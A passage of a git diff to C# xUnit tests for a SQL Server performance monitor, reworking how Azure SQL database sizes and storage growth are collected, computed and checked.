-    /// per-file breakdown, so the row says so: a NULL <c>file_id</c> and a name that reads as a database.
-    /// A fabricated file name would make the grid look complete and be wrong.
-    /// </summary>
-    [Fact]
-    public void ASiblingRowIsLabelledAsAWholeDatabase_NotAFabricatedFile()
-    {
-        Assert.Contains("file_name = N''(whole database)''", AzureSql, StringComparison.Ordinal);
-
-        /* The name has one owner. The growth reads leave the old-shape sibling row out by this same name. */
-        Assert.Equal("(whole database)", AzureSiblingDatabaseSize.FileName);
-        Assert.DoesNotContain("'", AzureSiblingDatabaseSize.FileName, StringComparison.Ordinal);
-    }
-
     /// <summary>
-    /// A sibling row carries the used space as well as the size, because the view reports both. What it
-    /// cannot measure stays out of the INSERT, where the table variable defaults it to NULL: a growth step or a
-    /// ceiling of 0 would be a measurement nobody took.
+    /// #5498: the sibling arm is gone. It read master's <c>sys.resource_stats</c>, which ingests a new database only
+    /// about an hour after it exists, so a fresh Azure logical server stored master's two files and nothing for its
+    /// user databases (the 3.10 release test). The host now runs the file query in EACH database, so reading the view
+    /// as well would store every database twice, once with real files and once as a sizeless "(whole database)" row.
     /// </summary>
     [Fact]
-    public void TheSiblingInsertWritesTheSizeAndTheUsedSpace_AndOmitsWhatItCannotMeasure()
+    public void TheAzureQueryReadsOnlyTheConnectedDatabase_TheHostRunsItInEachDatabase()
     {
-        /* Sliced from the INSERT's own column list, not from the first parenthesis after the IF — that one
-           belongs to DB_NAME(), and the first version of this assertion happily tested the string "(". */
-        var insert = AzureSql[AzureSql.IndexOf("IF DB_NAME() = N'master'", StringComparison.Ordinal)..];
-        var listStart = insert.IndexOf("@database_sizes", StringComparison.Ordinal);
-        var open = insert.IndexOf('(', listStart);
-        var columnList = insert[open..insert.IndexOf(')', open)];
-
-        Assert.Contains("used_size_mb", columnList, StringComparison.Ordinal);
-        Assert.DoesNotContain("auto_growth_mb", columnList, StringComparison.Ordinal);
-        Assert.Contains("total_size_mb", columnList, StringComparison.Ordinal);
-    }
-
-    private static string SiblingArm()
-    {
-        var arm = AzureSql[AzureSql.IndexOf("EXEC sys.sp_executesql", StringComparison.Ordinal)..];
-        return Regex.Replace(arm, @"\s+", " ");
+        Assert.Contains("FROM sys.database_files AS df", AzureSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("sys.resource_stats", AzureSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("IF DB_NAME() = N'master'", AzureSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("(whole database)", AzureSql, StringComparison.Ordinal);
     }
 
     /// <summary>
-    /// The mapping itself: the allocated data space is the size and the used data space is the used space, the same
-    /// footing as every row the per-file arm writes. The view's two columns are Microsoft Learn's "formatted file
-    /// space ... made available for storing database data" and "Maximum storage size ... including database data,
-    /// indexes, stored procedures, and metadata". The arm once stored the second as the total.
+    /// #5498, the enumeration the issue names: on Azure SQL DB (engine edition 5) the collector runs per database,
+    /// the gate database_scoped_config, index_object_stats and query_store use, so the host connects to every
+    /// database on the logical server. Every other target keeps its single connection and cursor.
     /// </summary>
     [Fact]
-    public void TheSiblingArmMapsAllocatedToTotal_AndStorageToUsed()
+    public void OnAzureSqlDatabaseTheCollectorRunsOncePerDatabase()
     {
-        var arm = SiblingArm();
-
-        Assert.Contains("total_size_mb = CONVERT(decimal(19,2), rs.allocated_storage_in_megabytes)", arm, StringComparison.Ordinal);
-        Assert.Contains("used_size_mb = CONVERT(decimal(19,2), rs.storage_in_megabytes)", arm, StringComparison.Ordinal);
-        Assert.DoesNotContain("total_size_mb = CONVERT(decimal(19,2), rs.storage_in_megabytes)", arm, StringComparison.Ordinal);
-
-        /* INSERT ... EXEC maps by position, so the projection must list the columns in the INSERT's order. */
-        var insertList = Regex.Match(AzureSql, @"IF DB_NAME\(\) = N'master'\s*BEGIN\s*INSERT\s*@database_sizes\s*\(([^)]*)\)").Groups[1].Value;
-        var inserted = insertList.Split(',').Select(c => c.Trim()).ToArray();
-        Assert.Equal(new[] { "database_name", "file_type_desc", "file_name", "total_size_mb", "used_size_mb", "state_desc" }, inserted);
+        var azure = new CollectorTargetInfo { IsAzureSqlDb = true };
 
-        var projection = arm[arm.IndexOf("SELECT rs.database_name,", StringComparison.Ordinal)..arm.IndexOf(" FROM ( SELECT", StringComparison.Ordinal)];
-        var projected = Regex.Matches(projection, @"(?:^|, )(?:SELECT )?(?:rs\.)?(\w+)(?= =|,|$)").Select(m => m.Groups[1].Value).ToArray();
-        Assert.Equal(inserted, projected);
-    }
-
-    /// <summary>
-    /// The newest sample where BOTH sizes are known. A sample that has only one of them would give a size without a
-    /// used space (or the reverse), and ranking before that filter could pick it over an older complete sample.
-    /// Both filters sit in the WHERE of the SELECT that ranks, so they apply before the ranking.
-    /// </summary>
-    [Fact]
-    public void TheSiblingArmTakesTheNewestSampleWhereBothSizesAreKnown()
-    {
-        var arm = SiblingArm();
-        var ranking = arm[arm.IndexOf("FROM sys.resource_stats AS r", StringComparison.Ordinal)..arm.IndexOf(") AS rs", StringComparison.Ordinal)];
-
-        Assert.Contains("r.storage_in_megabytes IS NOT NULL", ranking, StringComparison.Ordinal);
-        Assert.Contains("r.allocated_storage_in_megabytes IS NOT NULL", ranking, StringComparison.Ordinal);
-    }
-
-    /// <summary>
-    /// The connected database is excluded from the sibling arm — the file arm already reported it, with
-    /// real files. Without this every Azure entry reports its own database twice, once properly and once
-    /// as a sizeless "(whole database)" row.
-    /// </summary>
-    [Fact]
-    public void TheConnectedDatabaseIsNotReportedTwice()
-        => Assert.Contains("r.database_name <> DB_NAME()", AzureSql, StringComparison.Ordinal);
-
-    /// <summary>
-    /// Newest sample per database. <c>sys.resource_stats</c> keeps roughly fourteen days at five-minute
-    /// grain, so without this every database arrives a few thousand times.
-    /// </summary>
-    [Fact]
-    public void OnlyTheNewestSamplePerDatabaseIsTaken()
-    {
-        Assert.Contains("ROW_NUMBER() OVER (PARTITION BY r.database_name ORDER BY r.end_time DESC)", AzureSql, StringComparison.Ordinal);
-        Assert.Contains("WHERE rs.rn = 1", AzureSql, StringComparison.Ordinal);
+        Assert.True(DatabaseSizeStatsCollector.Instance.RunsPerDatabase(azure));
+        Assert.False(DatabaseSizeStatsCollector.Instance.RunsPerDatabase(new CollectorTargetInfo()));
+        Assert.False(DatabaseSizeStatsCollector.Instance.RunsPerDatabase(new CollectorTargetInfo { IsAzureManagedInstance = true }));
+        Assert.True(DatabaseScopedConfigCollector.Instance.RunsPerDatabase(azure));
     }
 
     /// <summary>
diff --git a/Lite.Tests/AzureMasterFallbackTests.cs b/Lite.Tests/AzureMasterFallbackTests.cs
index 0b1bb3702e..e84a98e58f 100644
--- a/Lite.Tests/AzureMasterFallbackTests.cs
+++ b/Lite.Tests/AzureMasterFallbackTests.cs
@@ -156,8 +156,18 @@ public void No_Database_To_Fall_Back_To_Throws_Rather_Than_Collecting_Nothing(st
         var ex = Assert.Throws<InvalidOperationException>(
             () => RemoteCollectorService.FallbackDatabaseList(Server(), targetDb, reason: "master DB inaccessible"));
 
-        /* The message has to tell them what to actually do about it. */
-        Assert.Contains("Set a Database", ex.Message);
+        /* The message has to tell them what to actually do about it. #5498: the firewall comes first (40615 means
+           the client's IP address was not allowed, which a server-level block causes too); setting a Database is
+           only the master-only case's fix. */
+        var firewall = ex.Message.IndexOf("firewall did not allow this client's IP address", StringComparison.Ordinal);
+        var rule = ex.Message.IndexOf("add a firewall rule", StringComparison.Ordinal);
+        var setDatabase = ex.Message.IndexOf("set a Database for", StringComparison.Ordinal);
+
+        Assert.True(firewall > 0, ex.Message);
+        Assert.True(rule > firewall, ex.Message);
+        Assert.Contains("either a server-level rule or a database-level rule in master", ex.Message, StringComparison.Ordinal);
+        Assert.True(setDatabase > rule, ex.Message);
+        Assert.Contains("can open a user database but not master", ex.Message, StringComparison.Ordinal);
     }
 
     /// <summary>
diff --git a/Lite.Tests/AzureSiblingGridNoteTests.cs b/Lite.Tests/AzureSiblingGridNoteTests.cs
index 9e5c4e0886..5fd7a32c22 100644
--- a/Lite.Tests/AzureSiblingGridNoteTests.cs
+++ b/Lite.Tests/AzureSiblingGridNoteTests.cs
@@ -44,7 +44,7 @@ public AzureSiblingGridNoteTests(SharedDuckDbFixture fixture)
     public void Dispose() => _seedConn?.Dispose();
 
     private static readonly DateTime Collected = DateTime.SpecifyKind(
-        new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerMinute)), DateTimeKind.Unspecified);
+        new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerMinute * TimeSpan.TicksPerMinute), DateTimeKind.Unspecified);
 
     private async Task SeedAsync(string database, int? fileId, string fileName, double total, double? used)
     {
diff --git a/Lite.Tests/AzureSiblingGrowthTests.cs b/Lite.Tests/AzureSiblingGrowthTests.cs
index 756dc10abc..e938e9aebc 100644
--- a/Lite.Tests/AzureSiblingGrowthTests.cs
+++ b/Lite.Tests/AzureSiblingGrowthTests.cs
@@ -48,7 +48,7 @@ public AzureSiblingGrowthTests(SharedDuckDbFixture fixture)
     public void Dispose() => _seedConn?.Dispose();
 
     private static readonly DateTime Collected = DateTime.SpecifyKind(
-        new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerMinute)), DateTimeKind.Unspecified);
+        new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerMinute * TimeSpan.TicksPerMinute), DateTimeKind.Unspecified);
 
     /// <summary>One stored size row. A sibling row has no database id, file id or physical name.</summary>
     private async Task SeedAsync(string database, int? fileId, string fileName, double? total, double? used, DateTime? at = null)
@@ -85,11 +85,11 @@ private Task SeedSiblingAsync(string database, double total, double? used, DateT
     /// </summary>
     private async Task SeedTheUpgradeAsync()
     {
-        foreach (var daysAgo in new[] { 31, 8 })
+        foreach (var daysAgo in new[] { 30, 7 })
         {
             var at = Collected.AddDays(-daysAgo);
             await SeedSiblingAsync("sibdb", 119, null, at);
-            await SeedAsync("realdb", 1, "realdb_data", daysAgo == 31 ? 100 : 120, null, at);
+            await SeedAsync("realdb", 1, "realdb_data", daysAgo == 30 ? 100 : 120, null, at);
         }
 
         await SeedSiblingAsync("sibdb", 10_240, 119);
@@ -123,22 +123,64 @@ public async Task StorageGrowth_TheUpgradeStepInASiblingIsNotGrowth_AndARealFile
     }
 
     [Fact]
-    public async Task StorageGrowth_ASiblingCollectedAfterTheFix_GrowsLikeAnyOtherDatabase()
+    public async Task StorageGrowth_OldWholeDatabaseRows_ThenPerFileRowsWithTheLog_ShowNoGrowthFigure_NotTheLogAsGrowth()
     {
-        /* Once the new shape is old enough to compare against, the sibling reports its growth. */
-        await SeedSiblingAsync("sibdb", 10_000, 100, Collected.AddDays(-31));
-        await SeedSiblingAsync("sibdb", 10_100, 110, Collected.AddDays(-8));
-        await SeedSiblingAsync("sibdb", 10_240, 119);
+        /* #5498: before the upgrade the database had one "(whole database)" row per snapshot, data space only (written
+           with its used space after #3262). The newest snapshot holds its real data and log files. The old rows are
+           left out of the 7-day and 30-day sides, so the log allocation does not read as growth: the database shows a
+           blank past size and growth n/a, as a database added inside the window does. */
+        await SeedSiblingAsync("sibdb", 10_000, 100, Collected.AddDays(-30));
+        await SeedSiblingAsync("sibdb", 10_100, 110, Collected.AddDays(-7));
+        await SeedAsync("sibdb", 1, "sibdb_data", 10_240, 119);
+        await SeedAsync("sibdb", 2, "sibdb_log", 1_000, 5);
 
         var sib = Assert.Single(await new LocalDataService(_duckDb).GetStorageGrowthAsync(ServerId), r => r.DatabaseName == "sibdb");
 
-        Assert.Equal(10_240m, sib.CurrentSizeMb);
-        Assert.Equal(10_100m, sib.Size7dAgoMb);
-        Assert.Equal(10_000m, sib.Size30dAgoMb);
+        Assert.Equal(11_240m, sib.CurrentSizeMb);
+        Assert.Null(sib.Size7dAgoMb);
+        Assert.Null(sib.Size30dAgoMb);
+        Assert.Null(sib.Growth7dMb);
+        Assert.Null(sib.Growth30dMb);
+        Assert.Null(sib.DailyGrowthRateMb);
+        Assert.Null(sib.GrowthPct30d);
+    }
+
+    [Fact]
+    public async Task StorageGrowth_APerFileDatabase_GrowsOnceItsPerFileRowsAreOldEnoughToCompare()
+    {
+        /* Once the per-file shape is old enough to compare against, the database reports its growth, and an old
+           "(whole database)" row beside it is still left out. */
+        await SeedSiblingAsync("sibdb", 9_000, 90, Collected.AddDays(-30.5));
+        await SeedAsync("sibdb", 1, "sibdb_data", 10_000, 100, Collected.AddDays(-30.5));
+        await SeedAsync("sibdb", 2, "sibdb_log", 1_000, 5, Collected.AddDays(-30.5));
+        await SeedAsync("sibdb", 1, "sibdb_data", 10_100, 110, Collected.AddDays(-7.5));
+        await SeedAsync("sibdb", 2, "sibdb_log", 1_000, 5, Collected.AddDays(-7.5));
+        await SeedAsync("sibdb", 1, "sibdb_data", 10_240, 119);
+        await SeedAsync("sibdb", 2, "sibdb_log", 1_000, 5);
+
+        var sib = Assert.Single(await new LocalDataService(_duckDb).GetStorageGrowthAsync(ServerId), r => r.DatabaseName == "sibdb");
+
+        Assert.Equal(11_240m, sib.CurrentSizeMb);
+        Assert.Equal(11_100m, sib.Size7dAgoMb);
+        Assert.Equal(11_000m, sib.Size30dAgoMb);
         Assert.Equal(140m, sib.Growth7dMb);
         Assert.Equal(240m, sib.Growth30dMb);
-        /* 240 MB over the 31 real days between the 30-day-old snapshot and now, not a fixed 30. */
-        Assert.Equal(Math.Round(240m / 31m, 4), Math.Round(sib.DailyGrowthRateMb!.Value, 4));
+        /* 240 MB over the 30.5 real days between the 30-day-old snapshot and now. */
+        Assert.Equal(Math.Round(240m / 30.5m, 4), Math.Round(sib.DailyGrowthRateMb!.Value, 4));
+    }
+
+    [Fact]
+    public async Task StorageGrowth_WithOnlyASevenDayBaseline_TheDailyRateUsesTheRealElapsedDays()
+    {
+        /* No 30-day snapshot yet: the daily rate falls back to the 7-day one, over the 7.5 real days (not a whole-day count). */
+        await SeedAsync("sibdb", 1, "sibdb_data", 10_000, 100, Collected.AddDays(-7.5));
+        await SeedAsync("sibdb", 1, "sibdb_data", 10_150, 119);
+
+        var sib = Assert.Single(await new LocalDataService(_duckDb).GetStorageGrowthAsync(ServerId), r => r.DatabaseName == "sibdb");
+
+        Assert.Null(sib.Size30dAgoMb);
+        Assert.Equal(150m, sib.Growth7dMb);
+        Assert.Equal(Math.Round(150m / 7.5m, 4), Math.Round(sib.DailyGrowthRateMb!.Value, 4));
     }
 
     [Fact]
@@ -146,9 +188,9 @@ public async Task StorageGrowth_BeforeTheFirstCollectionAfterTheUpgrade_TheSibli
     {
         /* The newest snapshot is still in the old shape, so the sibling has no row to show until the next
            collection lands. Other databases are unaffected. */
-        await SeedSiblingAsync("sibdb", 119, null, Collected.AddDays(-8));
+        await SeedSiblingAsync("sibdb", 119, null, Collected.AddDays(-7));
         await SeedSiblingAsync("sibdb", 119, null);
-        await SeedAsync("realdb", 1, "realdb_data", 100, 40, Collected.AddDays(-8));
+        await SeedAsync("realdb", 1, "realdb_data", 100, 40, Collected.AddDays(-7));
         await SeedAsync("realdb", 1, "realdb_data", 110, 42);
 
         var rows = await new LocalDataService(_duckDb).GetStorageGrowthAsync(ServerId);
@@ -381,15 +423,21 @@ private static string CteBody(string sql, string name)
     }
 
     [Fact]
-    public void StorageGrowthSql_LeavesTheOldShapeRowsOutOfTheLatestAnd7dAnd30dSums()
+    public void StorageGrowthSql_LeavesTheOldShapeRowsOutOfTheLatestSum_AndEverySiblingRowOutOfThe7dAnd30dSums()
     {
         var sql = LocalDataService.StorageGrowthSql;
 
-        foreach (var sum in new[] { "latest", "past_7d", "past_30d" })
+        Assert.True(
+            Squash(CteBody(sql, "latest")).Contains(AzureSiblingDatabaseSize.ExcludePreFixRows, StringComparison.Ordinal),
+            "The latest sum does not leave the old-shape sibling rows out.");
+
+        // #5498: the newest side holds data plus log per database now, so a past side that kept the old data-only
+        // sibling rows would read the log as growth.
+        foreach (var sum in new[] { "past_7d", "past_30d" })
         {
             Assert.True(
-                Squash(CteBody(sql, sum)).Contains(AzureSiblingDatabaseSize.ExcludePreFixRows, StringComparison.Ordinal),
-                $"The {sum} sum does not leave the old-shape sibling rows out.");
+                Squash(CteBody(sql, sum)).Contains(AzureSiblingDatabaseSize.ExcludeAllSiblingRows, StringComparison.Ordinal),
+                $"The {sum} sum does not leave every sibling row out.");
         }
     }
 
@@ -406,10 +454,10 @@ public async Task StorageGrowth_ADatabaseWithNoPastRowReadsGrowthAsUnknown_NotZe
     {
         await SeedAsync("freshdb", 1, "freshdb_data", 500, null);
         await SeedAsync("weekdb", 1, "weekdb_data", 500, null);
-        await SeedAsync("weekdb", 1, "weekdb_data", 400, null, Collected.AddDays(-8));
+        await SeedAsync("weekdb", 1, "weekdb_data", 400, null, Collected.AddDays(-7));
         await SeedAsync("fulldb", 1, "fulldb_data", 500, null);
-        await SeedAsync("fulldb", 1, "fulldb_data", 450, null, Collected.AddDays(-8));
-        await SeedAsync("fulldb", 1, "fulldb_data", 300, null, Collected.AddDays(-31));
+        await SeedAsync("fulldb", 1, "fulldb_data", 450, null, Collected.AddDays(-7));
+        await SeedAsync("fulldb", 1, "fulldb_data", 300, null, Collected.AddDays(-30));
 
         var rows = await new LocalDataService(_duckDb).GetStorageGrowthAsync(ServerId);
 
@@ -422,14 +470,14 @@ public async Task StorageGrowth_ADatabaseWithNoPastRowReadsGrowthAsUnknown_NotZe
         var week = Assert.Single(rows, r => r.DatabaseName == "weekdb");
         Assert.Equal(100m, (decimal?)week.Growth7dMb);
         Assert.Null((object?)week.Growth30dMb);
-        Assert.Equal(100m / 8m, week.DailyGrowthRateMb!.Value, 4);
+        Assert.Equal(100m / 7m, week.DailyGrowthRateMb!.Value, 4);
         Assert.Null((object?)week.GrowthPct30d);
 
         var full = Assert.Single(rows, r => r.DatabaseName == "fulldb");
         Assert.Equal(50m, (decimal?)full.Growth7dMb);
         Assert.Equal(200m, (decimal?)full.Growth30dMb);
         Assert.Equal(200m * 100m / 300m, full.GrowthPct30d!.Value, 4);
-        Assert.Equal(200m / 31m, full.DailyGrowthRateMb!.Value, 4);
+        Assert.Equal(200m / 30m, full.DailyGrowthRateMb!.Value, 4);
 
         // Largest 30-day growth first; a database with no 30-day figure sorts after, by its 7-day growth.
         Assert.Equal(new[] { "fulldb", "weekdb", "freshdb" }, rows.Select(r => r.DatabaseName));
@@ -449,13 +497,15 @@ public async Task StorageGrowth_AStaleServerReadsUnknown_AndTheRateUsesTheRealEl
     }
 
     [Fact]
-    public async Task StorageGrowth_ARateOverAGapIsDividedByTheRealElapsedDays()
+    public async Task StorageGrowth_ASampleFarFromTheMark_IsNoBaseline_SoTheRateIsUnknown()
     {
-        // The "7-day" past is really 12 days old after a collection gap: the rate is over those 12 days.
+        // After a collection gap the only older sample is 12 days old: more than a day from the 7-day mark, so it is not the
+        // "7d ago" size, and no growth or rate is worked out against it.
         await SeedAsync("gapdb", 1, "gapdb_data", 500, null);
         await SeedAsync("gapdb", 1, "gapdb_data", 380, null, Collected.AddDays(-12));
         var gap = Assert.Single(await new LocalDataService(_duckDb).GetStorageGrowthAsync(ServerId));
-        Assert.Equal(120m, gap.Growth7dMb!.Value);
-        Assert.Equal(120m / 12m, gap.DailyGrowthRateMb!.Value, 4);
+        Assert.Null(gap.Size7dAgoMb);
+        Assert.Null(gap.Growth7dMb);
+        Assert.Null(gap.DailyGrowthRateMb);
     }
 }
diff --git a/Lite.Tests/AzureSiblingSizePayloadTests.cs b/Lite.Tests/AzureSiblingSizePayloadTests.cs
index bf80f37c55..daea583aa1 100644
--- a/Lite.Tests/AzureSiblingSizePayloadTests.cs
+++ b/Lite.Tests/AzureSiblingSizePayloadTests.cs
@@ -44,7 +44,7 @@ public AzureSiblingSizePayloadTests(SharedDuckDbFixture fixture)
     public void Dispose() => _seedConn?.Dispose();
 
     private static readonly DateTime Collected = DateTime.SpecifyKind(
-        new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerMinute)), DateTimeKind.Unspecified);
+        new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerMinute * TimeSpan.TicksPerMinute), DateTimeKind.Unspecified);
 
     private static DatabaseSizeStatsRow Row(string database, int? fileId, string name, string type, double? total, double? used) => new()
     {
@@ -66,6 +66,23 @@ private static JsonElement Database(JsonDocument doc, string name) =>
         return doc.RootElement.TryGetProperty("note", out var note) ? note.GetString() : null;
     }
 
+    /* #5244: the database_name echo sits right after server, the place Darling's twin writes it, on both answer shapes
+       (with and without the top-level note). The key order is the wire shape the twin promises. */
+    [Fact]
+    public void TheDatabaseNameEcho_SitsRightAfterServer_OnBothDataShapes_AsDarlingWritesIt()
+    {
+        var plain = new[] { Row("appdb", 1, "appdb_data", "ROWS", 100, 10) };
+        var withNote = new[] { Row("sibdb", null, AzureSiblingDatabaseSize.FileName, "ROWS", 10_240, 119) };
+
+        foreach (var rows in new[] { plain, withNote })
+        {
+            using var doc = JsonDocument.Parse(McpServerInfoTools.DatabaseSizesPayload("srv", rows, "appdb"));
+            var keys = doc.RootElement.EnumerateObject().Select(p => p.Name).ToList();
+            Assert.Equal(new[] { "server", "database_name", "captured_at", "file_count" }, keys.Take(4));
+            Assert.Equal("databases", keys[^1]);
+        }
+    }
+
     [Fact]
     public void ASiblingRow_CarriesTheLogNoteAndItsUsedSize_OnItsFileAndItsDatabase_AndANormalFileRowDoesNot()
     {
diff --git a/Lite.Tests/AzureSqlDatabaseMasterPinsTests.cs b/Lite.Tests/AzureSqlDatabaseMasterPinsTests.cs
index b85f9b7852..aa7e524ba3 100644
--- a/Lite.Tests/AzureSqlDatabaseMasterPinsTests.cs
+++ b/Lite.Tests/AzureSqlDatabaseMasterPinsTests.cs
@@ -21,6 +21,7 @@ namespace PerformanceMonitorLite.Tests;
 /// A logical server's <c>master</c> has no service objective to resize: Server Inventory and the 7-day trend say N/A, and
 /// the constant that finds it is the collector's stored edition.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class AzureSqlDatabaseMasterPinsTests
 {
     private static IDataReader FleetRow(int engineEdition, string edition)
diff --git a/Lite.Tests/AzureSqlDatabaseOwnFiguresTests.cs b/Lite.Tests/AzureSqlDatabaseOwnFiguresTests.cs
index c8d8d8f9dc..38534b4be9 100644
--- a/Lite.Tests/AzureSqlDatabaseOwnFiguresTests.cs
+++ b/Lite.Tests/AzureSqlDatabaseOwnFiguresTests.cs
@@ -471,13 +471,14 @@ public void FinOpsTab_AsksTheSharedRules_ForTheCpuUnit_TheWorkerThreadsCard_TheH
             tab, StringComparison.Ordinal);
         Assert.DoesNotContain("$\"{data.CurrentWorkersCount:N0} / {data.MaxWorkersCount:N0}\"", tab, StringComparison.Ordinal);
 
+        /* The badge with no CPU sample is a dash with its own tooltip, not a partial score (FinOpsHealthBadgeNoCpuTests). */
         Assert.Contains(
-            "HealthScoreBorder.ToolTip = data.HasCpuSample ? null : ServerHardwareScope.HealthScoreWithoutCpuNote;",
+            "HealthScoreBorder.ToolTip = data.HasCpuSample ? null : FinOpsHealthCalculator.NoScoreNote;",
             tab, StringComparison.Ordinal);
 
-        Assert.Contains(
-            "int? cpuScore = item.AvgCpuPct is decimal avgCpu ? FinOpsHealthCalculator.CpuScore(avgCpu) : null;",
-            tab, StringComparison.Ordinal);
+        /* The inventory grid's score comes with the collected overlay, the Utilization tab's own rule (FinOpsHealthCalculator.Score): a server
+           with no CPU sample has no score (a dash), not defaults alone. */
+        Assert.DoesNotContain("InventoryScore(", tab, StringComparison.Ordinal);
         Assert.DoesNotContain("item.AvgCpuPct ?? 0m", tab, StringComparison.Ordinal);
     }
 
diff --git a/Lite.Tests/BaselineDiscontinuityRenderCensusTests.cs b/Lite.Tests/BaselineDiscontinuityRenderCensusTests.cs
index f0d19ce0e5..b719d5cc07 100644
--- a/Lite.Tests/BaselineDiscontinuityRenderCensusTests.cs
+++ b/Lite.Tests/BaselineDiscontinuityRenderCensusTests.cs
@@ -31,6 +31,8 @@ namespace PerformanceMonitorLite.Tests;
 /// (Lite's tool descriptions, which the compiler concatenated), and both on the same names so a tool that
 /// leaves one SKU's roster reds the census rather than quietly narrowing "every".
 /// </summary>
+[Trait("Reads", "Darling")]
+[Trait("Stage", "Guard")]
 public sealed class BaselineDiscontinuityRenderCensusTests
 {
     /// <summary>The trend tools that carry <c>discontinuities[]</c>, by SKU source file. Same eight names on each side.</summary>
@@ -186,9 +188,9 @@ public void TheUiHelper_DrawsADashedAccentLine_NamedInTheLegend()
         Assert.Equal("#E8B21E", PerformanceMonitor.Common.ChartPalette.AccentColor("Discontinuity"));
     }
 
-    /// <summary>The web page: one sentence builder, the shared wording, applied to the four trend panels.</summary>
+    /// <summary>The web page: one sentence builder, the shared wording, applied to the eight trend-drawing functions.</summary>
     [Fact]
-    public void TheWebPage_RendersTheSentenceOnItsFourTrendPanels()
+    public void TheWebPage_RendersTheSentenceOnItsEightTrendPanels()
     {
         var js = File.ReadAllText(RepoPath("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js"));
 
@@ -196,10 +198,10 @@ public void TheWebPage_RendersTheSentenceOnItsFourTrendPanels()
         Assert.Contains("\"baseline discontinuity at \" + localTime(d.at) + \" (\" + d.reason + \")\"", js, StringComparison.Ordinal);
         Assert.Contains("Array.isArray(data.discontinuities)", js, StringComparison.Ordinal);
 
-        /* One definition and one use per trend-drawing function: the wait, perfmon, per-query and file-I/O panels. */
+        /* One definition and one use per trend-drawing function: the wait, perfmon, per-query and file-I/O panels, plus the instance-trend, memory-clerk, latch/spinlock and session-stats panels. */
         var uses = Regex.Matches(js, @"discontinuityNotes\((trend\.data|res\.data)\)").Count;
-        Assert.Equal(4, uses);
-        foreach (var fn in new[] { "async function drawWaitTrend(", "async function drawPerfmonTrend(", "async function drawQueryTrend(", "export function fileIoPanel(" })
+        Assert.Equal(8, uses);
+        foreach (var fn in new[] { "export async function drawWaitTrends(", "export async function drawPerfmonTrends(", "async function drawQueryTrend(", "export function fileIoPanel(", "export function serverTrendPanel(", "export async function drawClerkTrends(", "export async function drawNamedTrends(", "export function sessionStatsTrendPanel(" })
         {
             var start = js.IndexOf(fn, StringComparison.Ordinal);
             Assert.True(start >= 0, fn);
diff --git a/Lite.Tests/BlockingChartsDataStartTests.cs b/Lite.Tests/BlockingChartsDataStartTests.cs
new file mode 100644
index 0000000000..6a5b42babf
--- /dev/null
+++ b/Lite.Tests/BlockingChartsDataStartTests.cs
@@ -0,0 +1,552 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// The "Showing since" note (#4966) on the Blocking tab's charts that draw zeros: the Lock Wait, Blocking and Deadlock
+/// Trend charts and the two Blocking Stats chart pairs. Each surface gets a notice test (the data starts inside the window,
+/// so the note names the right instant) and a quiet-start test (the window is covered but its first point comes late, so
+/// there is no note). Each runs the same steps the tab runs: the shared probe, <see cref="ServerTab.EarlierOfFloorAndRowShown"/>
+/// with the earliest point the chart draws, then <see cref="ServerTab.ApplyWindowFloorToBanner"/>.
+/// </summary>
+[Collection("server-time-helper")]
+[Trait("Cost", "Slow")]
+public sealed class BlockingChartsDataStartTests : IDisposable
+{
+    private const int ServerId = 4966;
+    private const string ServerName = "BlockingChartsServer";
+    private readonly string _tempDir;
+    private readonly DuckDbInitializer _duckDb;
+    private long _nextId = 1;
+
+    public BlockingChartsDataStartTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "BlockingChartsDataStart_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+    }
+
+    public void Dispose()
+    {
+        _duckDb.Dispose();
+        try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
+        catch { /* best-effort cleanup */ }
+    }
+
+    private static DateTime Naive(DateTime instant) => DateTime.SpecifyKind(instant, DateTimeKind.Unspecified);
+
+    private static string SinceText(DateTime instant) =>
+        "Showing since " + PerformanceMonitor.Ui.DisplayZone.Format(Naive(instant), TimeZoneInfo.Utc, "yyyy-MM-dd HH:mm:ss");
+
+    private static string CollectorOf(QueryWindowRelation relation) => relation switch
+    {
+        QueryWindowRelation.WaitStats => "wait_stats",
+        QueryWindowRelation.BlockedProcessReports => "blocked_process_report",
+        QueryWindowRelation.Deadlocks => "deadlocks",
+        _ => throw new ArgumentOutOfRangeException(nameof(relation))
+    };
+
+    private async Task ExecAsync(string sql, params object[] args)
+    {
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var a in args)
+        {
+            cmd.Parameters.Add(new DuckDBParameter { Value = a });
+        }
+
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private Task SeedRowAsync(QueryWindowRelation relation, DateTime at) => relation switch
+    {
+        QueryWindowRelation.WaitStats => ExecAsync(@"
+INSERT INTO wait_stats (collection_id, collection_time, server_id, server_name, wait_type, waiting_tasks_count, wait_time_ms, signal_wait_time_ms,
+     delta_waiting_tasks, delta_wait_time_ms, delta_signal_wait_time_ms)
